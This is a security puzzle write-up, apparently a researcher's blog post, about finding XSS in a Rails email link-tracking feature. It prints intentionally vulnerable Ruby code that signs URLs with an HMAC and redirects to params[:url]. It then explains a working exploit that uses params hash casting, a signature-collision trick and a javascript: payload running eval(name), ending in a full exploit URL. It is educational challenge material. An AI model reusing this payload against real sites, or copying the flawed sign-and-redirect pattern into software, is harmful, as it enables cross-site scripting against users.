Our task is to track clicked links in the emails. We created trackify method which replaces all URLs in supplied text to proxied ones. To prevent spoofing and open redirects we created a “sign” method.

What you need to find is an XSS in this functionality. It can require up to 1 click. For updates and tips check my feed.

Send your solutions along with writups to homakov@gmail.com please. The winner gets 0.1 BTC, this is a beta puzzle and future rewards will be better, for sure!

Tip 1: POST /trackify with body parameter to invoke trackify method

Tip 2: This trick might help

SECRET = 'something'

def sign(t, url)
  dump = [t, url].join('=')
  p dump
  OpenSSL::HMAC.hexdigest('sha1', SECRET, dump)

def track
  spl = params[:hash].split('-')
  if spl.count == 2
    redirect_to sign(spl[0], params[:url]) == spl[1] ? params[:url] : '/FAIL'

def trackify
  doc = Nokogiri::HTML.fragment(params[:body])
  timestamp = Time.now.to_i

  doc.search('a').each do |node|
    url = (node['href']) 
    if url.starts_with? 'https://'
      node['href'] = "https://cobased.com/track?hash=#{timestamp}-#{sign(timestamp, node['href'])}&url=#{URI.encode(node['href'])}".html_safe
  content_type = 'text/plain'
  render text: doc.to_s, content_type: 'text/plain' #{response: doc.to_s}

The Solution

There wasn’t much competition so we sent 0.1 BTC to @joernchen and to @titanous as they understood the core concept behind this.

The vulnerability here is an interesting fusion of three different tricks I previously wrote about: redirect_to params trick, serialization pitfalls (we will have a blog post on this one) and abusing params casting.

According to Tip #2 we need to pass url[status]=200&url[protocol]=javascript:… FYI this doesn’t work anymore and for edge rails we need something more complex (javascript:// scheme + new line trick):

payload = {"status" => "200","protocol" => "javascript","f"=>"\neval(name)"}

This is what we need to get in params[:url]. But how do we sign a Hash? Cool thing about modern programming languages is that they love casting!

Python: str({“x”:”1”}) # “{‘x’: ‘1’}”

PHP: Array(“x”=>”1”); # “Array”

Ruby: {“x”=>”1”} # {“x”=>”1”}

So instead of trying to sign a Hash object let’s cast it to String and sign the result!

payload.to_s.gsub('>','>') (don’t forget to replace hash rockets with html entities)

Gives us:

{"status"=>"200", "protocol"=>"javascript", "f"=>"\neval(name)"}

OK awesome, let’s try to trackify this body

<a href='{"status"=&gt;"200", "protocol"=&gt;"javascript", "f"=&gt;"\neval(name)"}'>link</a>

Oh wait, we forgot about url.starts_with? 'https://'. Now let’s look at custom serialization again. The pitfall here is the signature for original

TIMESTAMP = https://={"status"=&gt;"200", "protocol"=&gt;"javascript", "f"=&gt;"\neval(name)"}

will remain valid even when we put “=https://” in the timestamp parameter and send our params[:url] as a Hash

TIMESTAMP=https:// = {"status"=&gt;"200", "protocol"=&gt;"javascript", "f"=&gt;"\neval(name)"}

So the final exploit looks like https://cobased.com/track?hash=1405177298=https://ok.com/-f45294c86953da8388e2f0f8dff42a14823a4529&url[status]=200&url[protocol]=javascript&url[f]=%0Aeval(name)

Stay tuned for more challenges!

Jan 1, 2014 • Egor Homakov (@homakov)